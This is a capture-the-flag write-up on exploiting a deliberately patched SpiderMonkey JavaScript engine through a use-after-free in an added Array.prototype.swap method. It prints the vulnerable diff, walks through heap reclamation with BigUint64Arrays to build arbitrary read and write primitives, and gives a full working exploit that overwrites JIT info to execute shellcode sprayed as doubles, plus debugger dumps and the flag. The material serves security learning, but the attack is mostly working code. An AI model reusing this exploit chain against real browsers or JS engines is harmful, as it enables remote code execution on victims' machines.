Level 8B - Super "Optimised" Swap (SpiderMonkey pwn)

This is a JavaScript engine exploit. More specifically, we are given a binary called js, which is the SpiderMonkey JavaScript engine. SpiderMonkey is Mozilla's JavaScript and WebAssembly Engine, used in Firefox, Servo and various other projects. It is written in C++, Rust and JavaScript.

Usually for JS pwn challenges, vulnerable patches are made to the JS engines, and you need to write an exploit in JS to gain an RCE over the remote server. As this was my first time writing a JS exploit, I had to do a ton of research in order to understand what was going on 😭. On the bright side it meant that I learnt alot more about memory management in the SpiderMonkey engine :).

How do I build my own SpiderMonkey JS shell with debug symbols?

https://wiki.mozilla.org/JavaScript:New_to_SpiderMonkey#Build_the_js_shell This isn't necessary to solve the challenge, and I actually didn't do it. It was unnecessary since the author already provided multiple helpful debug messages that print the addresses of the elements and the values getting swapped.

The challenge source is mostly in code/diff.txt, which shows us how the JS engine was modified to make it vulnerable. Let's zoom in on the important parts:

+bool js::array_swap(JSContext* cx, unsigned argc, Value* vp) {
+  AutoJSMethodProfilerEntry pseudoFrame(cx, "Array.prototype", "swap");
+  CallArgs args = CallArgsFromVp(argc, vp);
+
+  // {obj} refers to this == b
+  RootedObject obj(cx, ToObject(cx, args.thisv()));
+  if (!obj) {
+    return false;
+  }
+
+  NativeObject* nobj = &obj->as<NativeObject>();
+  
+  uint64_t len;
+  if (!GetLengthPropertyInlined(cx, obj, &len)) {
+    args.rval().setBoolean(false);
+    return false;
+  }
+
+  if (!CanOptimizeForDenseStorage<ArrayAccess::Read>(obj, len)) {
+    JS_ReportErrorASCII(cx, "Cannot optimize for array object");
+    args.rval().setBoolean(false);
+    return false;
+  }
+
+  uint64_t capacity;
+  capacity = nobj->getDenseCapacity();
+
+  const js::Value* elements2 = nobj->getDenseElements();
+
+  #if defined(DEBUG) || defined(JS_JITSPEW)
+    printf("Current object: %p\n", static_cast<void*>(nobj));
+    printf("Current length/capacity: %lu / %lu\n",  len, capacity);
+    printf("elements: %p\n", elements2);
+  #endif
+
+
+  RootedValue from(cx);
+  JSAtom* fromAtom = Atomize(cx, "from", strlen("from"));
+  if (!fromAtom) {
+    return false;
+  }
+  RootedId fromId(cx, AtomToId(fromAtom));
+  if (!GetProperty(cx, obj, obj, fromId, &from)) {
+      args.rval().setBoolean(false);
+      return true;
+  }
+
+  if (!from.isInt32()){
+    JS_ReportErrorASCII(cx, "from is not Int32");
+    args.rval().setBoolean(false);
+    return true;
+  }
+
+
+  RootedValue to(cx);
+  JSAtom* toAtom = Atomize(cx, "to", strlen("to"));
+  if (!toAtom) {
+    return false;
+  }
+  RootedId toId(cx, AtomToId(toAtom));
+  if (!GetProperty(cx, obj, obj, toId, &to)) {
+      args.rval().setBoolean(false);
+      return true;
+  }
+
+  if (!to.isInt32()){
+    JS_ReportErrorASCII(cx, "to property is not Int32");
+    args.rval().setBoolean(false);
+    return true;
+  }
+  
+  // truncate - should be fine
+  uint64_t fromVal = from.toInt32();
+  uint64_t toVal = to.toInt32();
+
+  #if defined(DEBUG) || defined(JS_JITSPEW)
+    printf("fromVal: %ld\n", fromVal);  
+    printf("toVal: %ld\n", toVal);
+  #endif
+
+
+  if (fromVal < len 
+      && toVal < len
+      && fromVal < capacity    
+      && toVal < capacity)    
+  {
+    Value tmp = elements2[toVal]; 
+    Value tmp2 = elements2[fromVal]; 
+
+    #if defined(DEBUG) || defined(JS_JITSPEW)
+      printf("To:\n");
+      js::DumpValue(tmp);
+
+      printf("From:\n");
+      js::DumpValue(tmp2);
+    #endif
+
+    memcpy((void*)&elements2[fromVal], &tmp, sizeof(js::Value));
+    memcpy((void*)&elements2[toVal], &tmp2, sizeof(js::Value));
+
+
+    args.rval().setBoolean(true);  
+  }
+  else
+  {
+    JS_ReportErrorASCII(cx, "Index larger than length!");
+    args.rval().setBoolean(false);  
+  }
+  
+  return true;
+}

The idea is that arrays have a new .swap() function introduced, and its intended functionality is to swap elements in an array. Let's break down what it does:

  1. Gets the len of the array using GetLengthPropertyInlined

  2. Checks that the array can be optimised for dense storage

  3. Get the array capacity using getDenseCapacity()

  4. Get the underlying js::Value* elements by using nobj->getDenseElements()

  5. Get the from and to properties of the array using GetProperty() . These are both 32-bit integers.

  6. Check that the indices from and to are both < len and < capacity

  7. Actually perform the swap on the js::Value members using memcpy

Using LLMs, I learnt that the GetProperty may invoke arbitrary attacker-controlled JavaScript. In other words, when GetProperty is called to retrieve the index to or from, we can perform operations on the array before returning the integer index.

Having done numerous heap-based userspace pwn challenges before, my first observation was that the elements of the array are stored in js::Value* elements2 before we call GetProperty().

This means that if we can find a way to free the array's backing buffer and reclaim it using other objects, we could potentially achieve an arbitrary swap between elements/metadata of two objects. My guess (which was correct) was that expanding the array beyond the capacity would cause it to be allocated somewhere else.

I also came across SpiderMonkey blogs which mentioned the objectAddress() function which was directly accessible from the JavaScript engine, which saved me the effort of having to implement one using the existing primitives.

Furthermore, on reading previous blogs/CTF challenges, I realised that a popular way of exploiting SpiderMonkey was to first obtain arbitrary read and write, then use those primitives to:

  1. Write a function containing shellcode encoded in doubles, and execute it multiple times so the shellcode is mapped into RX memory

  2. Read the JsJitInfoAddr which is located at objectAddress(shellcode) + 0x28

  3. Read the first 8 bytes in JsJitInfoAddr to leak the memory address of the readable and executable region (and hence have a better idea of where existing user shellcode is located)

  4. Write the address of user shellcode into jitInfoAddr so it gets executed by the JIT engine

Where can I find more resources on this exploit technique?

https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/

Note that this blog is in Windows, but many concepts are still applicable to Linux. A key difference between my exploit and theirs is that they find the RX shellcode address by scanning for a magic byte. In my case I needed to manually tweak values for every single arbitrary read, which made this difficult. I had the advantage of having a consistent exploit environment, so I could calculate the offset of the RX shellcode from the RX region, thus I can skip the stage of scanning for shellcode magic bytes to determine where the RX shellcode is.

https://www.sentinelone.com/labs/firefox-jit-use-after-frees-exploiting-cve-2020-26950/#vuln

This blog pretty much does the same thing in linux and has diagrams

As I was unfamiliar with V8/SpiderMonkey exploits, I also researched on various existing ways of exploiting UAF on arrays. After a few days, I encountered the following holy grail when reading this sentinelone blog:

This prompted me to look at how ArrayBuffers and Arrays were stored in memory. As an exercise, let me run you through how I get an arbitrary read. Suppose I have a function shellcode and its object address. How do I read the content of objectAddress(shellcode) + 0x28? I need this arbitrary read to determine the address of JSJitInfoAddr.

function i2d(x) {
    u64view[0] = x;
    return f64view[0];
}
function shellcode() {
    find_me = 5.40900888e-315; // 0x41414141 in memory
    A = -6.828527034422786e-229; // 0x9090909090909090
    B = 9.140985924375324e+164; //
    C = 1.9999680285240848e+98;
    D = 7.03809441336698e-309;
    E = -6.828527034422786e-229; // 0x9090909090909090
    F = -6.828527034422786e-229; // 0x9090909090909090
    G = -6.828527034422786e-229; // 0x9090909090909090
    H = -6.828527034422786e-229; // 0x9090909090909090
}

function gc() {new ArrayBuffer(3*1024*1024*100)}
const NUM_ALLOCS_1 = 52;
const FREE_110_SZ = 1024*2;
const FREES_110 = Array(FREE_110_SZ);
function arbread1() {
    let arr1 = new Array(64).fill(6969);
    // array data goes from 0x000023e0e910b640 to 0x000023e0e910b8b0
    // objectAddress(arr1);
    arr1.from = 11;

    // swap the pointer of a float array with the pointer of an object array
    Object.defineProperty(arr1, 'to', {
        get: function() {
            // THIS CODE RUNS INSIDE THE C++ FUNCTION!
            // At this exact moment:
            // - elements2 pointer is already captured in C++
            // - We're in the middle of reading properties
            // - The memcpy hasn't happened yet

            console.log("I'm executing inside the C++ swap function!");

            // trigger array expansion and reallocation
            this.push(69);
            gc();

            for(var i=0; i<NUM_ALLOCS_1; i++) {
                // * 8 for 8 bytes per double
                let ab = new ArrayBuffer(64 * 8);
                // let x = new Float64Array(ab);
                // x.fill(13.37);
                let x = new BigUint64Array(ab);
                x.fill(0x42424242n);
                // console.log("x: " + x);
                FREES_110[i] = x;
            }
            let shellcodeFunctionAddr = objectAddress(shellcode);
            print(`shellcodeFunctionAddr: ${shellcodeFunctionAddr}`);
            var arr2 = [i2d(BigInt("0x" + shellcodeFunctionAddr, 16) + 0x28n)];
            FREES_110[NUM_ALLOCS_1] = arr2;
            return 34;
        }
    });
    arr1.swap();
    // console.log(FREES_110[55]);
    return Number(FREES_110[NUM_ALLOCS_1 - 1][0]);
}
const NUM_ALLOCS_2 = 62;
// now we need to do arbread to read the JSJitInfoAddr
let jitInfoAddr = arbread1();

Here's what I'm doing:

  1. Use Object.defineProperty(arr1, 'to', ...) to dictate the JS that is run before the to index is returned to the JS engine. When getProperty() is called, we will:

    1. Expand the array arr1 from 64 -> 65 elements, expanding it beyond its capacity to trigger a re-allocation elsewhere.

    2. Perform garbage collection to free its previous backing buffer.

    3. Create a certain number of typed BigUint64Arrays such that part of arr1's previous backing buffer gets reclaimed

    4. Create another array arr2 whose only element is the decimal representation of objectAddress(shellcode) + 0x28

    5. Finally return the index to and return control to the JS engine

  2. Allow the swap to occur, swapping the data pointer of the LAST BigUint64Array with the VALUE objectAddress(shellcode) + 0x28

  3. Now when we read the first element of the last BigUint64Array, we will effectively be dereferencing objectAddress(shellcode) + 0x28 and reading the 8 bytes at its address.

How do you debug the exploit running in the JavaScript engine?

My workflow was to get the arbread and arbwrite working in my host, before testing it (and making the necessary adjustments) on the docker container. I had to install pwndbg on my docker container for this :(

In our case, the exploit is loaded from a file by doing p = process(["./js", f"--file={myfile}"]) . As such, to debug you would do something like gdb --args ./js -f solve.js.

Then set a breakpoint like break math_pow.

Within your javascript exploit, when you want execution to pause add a function call like Math.pow(10,2). You're now good to go!

In this run objectAddress(shellcode) = 0xf4ad676c158

If we run the arbread function we'll see the following debug message from the JS engine:

Current length/capacity: 64 / 64
elements: 0xd643eb00cb8
I'm executing inside the C++ swap function!
shellcodeFunctionAddr: f4ad676c158
fromVal: 11
toVal: 34
To:

{
  "type": "double",
  "value": "8.307269226901e-311",
  "private": "0xf4ad676c180"
}
From:

{
  "type": "double",
  "value": "6.28111381192257e-310",
  "private": "0x73a00790a400"
}
jitInfoAddr: 0xf4ad675f1a0

This tells us that the arr1's elements were at the address 0xd643eb00cb8 and we can look there to check what reclaimed it. Notice that I swapped index 11 (0x0b) and 34 (0x22) here.

This is the memory layout in the debugger AFTER the swap has occurred:

pwndbg> tele 0xd643eb00cb8 100
...
0b:0058│  0xd643eb00d10 —▸ 0xf4ad676c180 <- This is objectAddress(shellcode) + 0x28!
0c:0060│  0xd643eb00d18 —▸ 0x73a008e4e8fa ◂— 0x73a008e4
0d:0068│  0xd643eb00d20 ◂— 0xb00000450
0e:0070│  0xd643eb00d28 ◂— 'f4ad676c158'
0f:0078│  0xd643eb00d30 ◂— 0xfff8800000383531 /* '158' */
10:0080│  0xd643eb00d38 —▸ 0x73a008e4e8fa ◂— 0x73a008e4
11:0088│  0xd643eb00d40 ◂— 0x2200000490
12:0090│  0xd643eb00d48 —▸ 0xd643eb00d58 ◂— 'shellcodeFunctionAddr: f4ad676c158'
13:0098│  0xd643eb00d50 ◂— 0x40 /* '@' */
14:00a0│  0xd643eb00d58 ◂— 'shellcodeFunctionAddr: f4ad676c158'
15:00a8│  0xd643eb00d60 ◂— 'eFunctionAddr: f4ad676c158'
16:00b0│  0xd643eb00d68 ◂— 'nAddr: f4ad676c158'
17:00b8│  0xd643eb00d70 ◂— '4ad676c158'
18:00c0│  0xd643eb00d78 ◂— 0xfff8800000003835 /* '58' */
19:00c8│  0xd643eb00d80 ◂— 0xfff8800000001b39
... ↓     2 skipped
1c:00e0│  0xd643eb00d98 —▸ 0x73a008e4e8a8 —▸ 0x73a008e4e000 —▸ 0x73a008e2a000 —▸ 0x73a007c9b000 ◂— ...
1d:00e8│  0xd643eb00da0 —▸ 0xf4ad675b900 —▸ 0xf4ad6739190 —▸ 0x5b9dabbd0470 (js::ArrayObject::class_) —▸ 0x5b9da952f035 ◂— ...
1e:00f0│  0xd643eb00da8 —▸ 0x5b9da954d130 (emptyObjectSlotsHeaders+16) ◂— 0x100000000
1f:00f8│  0xd643eb00db0 —▸ 0xd643eb00dc8 —▸ 0x73a00790a400 ◂— 0x42424242 /* 'BBBB' */
20:0100│  0xd643eb00db8 ◂— 0x100000001
21:0108│  0xd643eb00dc0 ◂— 0x100000002
22:0110│  0xd643eb00dc8 —▸ 0x73a00790a400 ◂— 0x42424242 /* 'BBBB' */ <- This is the data pointer of the last BigUintArray!

As you can see, I have swapped the elements at 0xd643eb00d10 and 0xd643eb00dc8 . This swaps the last BigUint64Array's data pointer with objectAddress(shellcode) + 0x28.

Now, when I try to read the 0th element of the BigUint64Array, it will dereference objectAddress(shellcode) + 0x28 and give me that value instead of the actual BigUint I put in it! (which was 0x42424242)

This first arbitrary read allows me to read the contents of objectAddress(shellcode) + 0x28 = address of JSJitInfoAddr. I use another similar arbitrary read to read the content of JSJitInfoAddr, which is the virtual address of the RX region.

Now we come to the arbitrary write. In order for the shellcode to be executed by the JIT engine, we have to find the address of the executable shellcode and overwrite the value at JSJitInfoAddr with that. Since the environment was fixed, I found out that the executable shellcode would be assigned at a constant offset with respect to the RX region that we already leaked. Therefore, we just need to overwrite the value of JSJitInfoAddr with that address to successfully pwn it.

Here's a code snippet for the arbitrary write:

const NUM_ALLOCS_3 = 72;
function arbwrite(addr, data) {
    let arr1 = new Array(64).fill(6969);
    // array data goes from 0x000023e0e910b640 to 0x000023e0e910b8b0
    // objectAddress(arr1);
    arr1.from = 7;

    // swap the pointer of a float array with the pointer of an object array
    Object.defineProperty(arr1, 'to', {
        get: function() {
            // THIS CODE RUNS INSIDE THE C++ FUNCTION!
            // At this exact moment:
            // - elements2 pointer is already captured in C++
            // - We're in the middle of reading properties
            // - The memcpy hasn't happened yet

            console.log("I'm executing inside the C++ swap function!");

            // trigger array expansion and reallocation
            this.push(69);
            gc();

            for(var i=NUM_ALLOCS_1 + NUM_ALLOCS_2; i<NUM_ALLOCS_1 + NUM_ALLOCS_2 + NUM_ALLOCS_3; i++) {
                // * 8 for 8 bytes per double
                let ab = new ArrayBuffer(64 * 8);
                // let x = new Float64Array(ab);
                // x.fill(13.37);
                let x = new BigUint64Array(ab);
                x.fill(0x42424242n);
                // console.log("x: " + x);
                FREES_110[i] = x;
            }
            var arr2 = [i2d(BigInt(addr))];
            return 18;
        }
    });
    arr1.swap();
    for (let i = 0; i < 0x10000; i++) shellcode();
    FREES_110[NUM_ALLOCS_1 + NUM_ALLOCS_2 + NUM_ALLOCS_3 - 1][0] = BigInt(data);
}

var shellcodeAddr = RXregion + (0xc372baf0d0-0xc372b8bd40);
print(`shellcodeAddr: ${hex(shellcodeAddr)}`);
print(`jitInfoAddr: ${hex(jitInfoAddr)}`);
print(`Writing shellcodeAddr to jitInfoAddr...`);
arbwrite(jitInfoAddr, shellcodeAddr); // both shd be numbers

The main idea is essentially the same: I allocate a bunch of BigUint64Arrays to partially reclaim the backing buffer of arr1, then allocate arr2 containing the target address in decimal. Then I swap the data pointer of the last BigUint64Array with the actual addr element.

After the swap is performed, when we try to write element 0 of the last BigUint64Array, we will end up dereferencing addr and changing the value in it, achieving our arbitrary write.

This allows us to successfully overwrite the first 8 bytes of JSJitInfoAddr to the address of the executable shellcode. Finally, to activate the RCE, we need to simply invoke the shellcode() function. Below is the full exploit:

let converter = new ArrayBuffer(8);
let u64view = new BigUint64Array(converter);
let f64view = new Float64Array(converter);

// Bit-cast an uint64_t to a float64
function i2d(x) {
    u64view[0] = x;
    return f64view[0];
}

// Bit-cast a float64 to an uint64_t
function d2i(x) {
    f64view[0] = x;
    return u64view[0];
}

function print(x) {
    console.log(x);
}

function hex(x) {
    return `0x${x.toString(16)}`;
}

function shellcode() {
    find_me = 5.40900888e-315; // 0x41414141 in memory
    A = -6.828527034422786e-229; // 0x9090909090909090
    B = 9.140985924375324e+164; //
    C = 1.9999680285240848e+98;
    D = 7.03809441336698e-309;
    E = -6.828527034422786e-229; // 0x9090909090909090
    F = -6.828527034422786e-229; // 0x9090909090909090
    G = -6.828527034422786e-229; // 0x9090909090909090
    H = -6.828527034422786e-229; // 0x9090909090909090
}

function gc() {new ArrayBuffer(3*1024*1024*100)}
const NUM_ALLOCS_1 = 52;
const FREE_110_SZ = 1024*2;
const FREES_110 = Array(FREE_110_SZ);
function arbread1() {
    let arr1 = new Array(64).fill(6969);
    // array data goes from 0x000023e0e910b640 to 0x000023e0e910b8b0
    // objectAddress(arr1);
    arr1.from = 11;

    // swap the pointer of a float array with the pointer of an object array
    Object.defineProperty(arr1, 'to', {
        get: function() {
            // THIS CODE RUNS INSIDE THE C++ FUNCTION!
            // At this exact moment:
            // - elements2 pointer is already captured in C++
            // - We're in the middle of reading properties
            // - The memcpy hasn't happened yet

            console.log("I'm executing inside the C++ swap function!");

            // trigger array expansion and reallocation
            this.push(69);
            gc();

            for(var i=0; i<NUM_ALLOCS_1; i++) {
                // * 8 for 8 bytes per double
                let ab = new ArrayBuffer(64 * 8);
                // let x = new Float64Array(ab);
                // x.fill(13.37);
                let x = new BigUint64Array(ab);
                x.fill(0x42424242n);
                // console.log("x: " + x);
                FREES_110[i] = x;
            }
            let shellcodeFunctionAddr = objectAddress(shellcode);
            print(`shellcodeFunctionAddr: ${shellcodeFunctionAddr}`);
            var arr2 = [i2d(BigInt("0x" + shellcodeFunctionAddr, 16) + 0x28n)];
            FREES_110[NUM_ALLOCS_1] = arr2;
            return 34;
        }
    });
    arr1.swap();
    // console.log(FREES_110[55]);
    return Number(FREES_110[NUM_ALLOCS_1 - 1][0]);
}
const NUM_ALLOCS_2 = 62;
// now we need to do arbread to read the JSJitInfoAddr
let jitInfoAddr = arbread1();
print(`jitInfoAddr: ${hex(jitInfoAddr)}`);
// Math.pow(10,2);
// now we do another arbread on jitinfoaddr to find the RX region
function arbread2(addr) {
    let arr1 = new Array(64).fill(6969);
    // array data goes from 0x000023e0e910b640 to 0x000023e0e910b8b0
    // objectAddress(arr1);
    arr1.from = 7;

    // swap the pointer of a float array with the pointer of an object array
    Object.defineProperty(arr1, 'to', {
        get: function() {
            // THIS CODE RUNS INSIDE THE C++ FUNCTION!
            // At this exact moment:
            // - elements2 pointer is already captured in C++
            // - We're in the middle of reading properties
            // - The memcpy hasn't happened yet

            console.log("I'm executing inside the C++ swap function!");

            // trigger array expansion and reallocation
            this.push(69);
            gc();

            for(var i=NUM_ALLOCS_1; i<NUM_ALLOCS_1 + NUM_ALLOCS_2; i++) {
                // * 8 for 8 bytes per double
                let ab = new ArrayBuffer(64 * 8);
                // let x = new Float64Array(ab);
                // x.fill(13.37);
                let x = new BigUint64Array(ab);
                x.fill(0x42424242n);
                // console.log("x: " + x);
                FREES_110[i] = x;
            }
            var arr2 = [i2d(addr)];
            return 14;
        }
    });
    arr1.swap();
    // console.log(FREES_110[55]);
    return Number(FREES_110[NUM_ALLOCS_1 + NUM_ALLOCS_2 - 1][0]);
}
let RXregion = arbread2(BigInt(jitInfoAddr));
print(`RXregion: ${hex(RXregion)}`);
// Math.pow(2, 10);
const NUM_ALLOCS_3 = 72;
function arbwrite(addr, data) {
    let arr1 = new Array(64).fill(6969);
    // array data goes from 0x000023e0e910b640 to 0x000023e0e910b8b0
    // objectAddress(arr1);
    arr1.from = 7;

    // swap the pointer of a float array with the pointer of an object array
    Object.defineProperty(arr1, 'to', {
        get: function() {
            // THIS CODE RUNS INSIDE THE C++ FUNCTION!
            // At this exact moment:
            // - elements2 pointer is already captured in C++
            // - We're in the middle of reading properties
            // - The memcpy hasn't happened yet

            console.log("I'm executing inside the C++ swap function!");

            // trigger array expansion and reallocation
            this.push(69);
            gc();

            for(var i=NUM_ALLOCS_1 + NUM_ALLOCS_2; i<NUM_ALLOCS_1 + NUM_ALLOCS_2 + NUM_ALLOCS_3; i++) {
                // * 8 for 8 bytes per double
                let ab = new ArrayBuffer(64 * 8);
                // let x = new Float64Array(ab);
                // x.fill(13.37);
                let x = new BigUint64Array(ab);
                x.fill(0x42424242n);
                // console.log("x: " + x);
                FREES_110[i] = x;
            }
            var arr2 = [i2d(BigInt(addr))];
            return 18;
        }
    });
    arr1.swap();
    for (let i = 0; i < 0x10000; i++) shellcode();
    FREES_110[NUM_ALLOCS_1 + NUM_ALLOCS_2 + NUM_ALLOCS_3 - 1][0] = BigInt(data);
}

var shellcodeAddr = RXregion + (0xc372baf0d0-0xc372b8bd40);
print(`shellcodeAddr: ${hex(shellcodeAddr)}`);
print(`jitInfoAddr: ${hex(jitInfoAddr)}`);
print(`Writing shellcodeAddr to jitInfoAddr...`);
arbwrite(jitInfoAddr, shellcodeAddr); // both shd be numbers
// Math.pow(10,2);
// print("Triggering shellcode...");
shellcode();
// Math.pow(10,2);

// TISC{sp1d3rm0nk3y_sw4p_p4ws_y3kn0mr3d1ps}

Last updated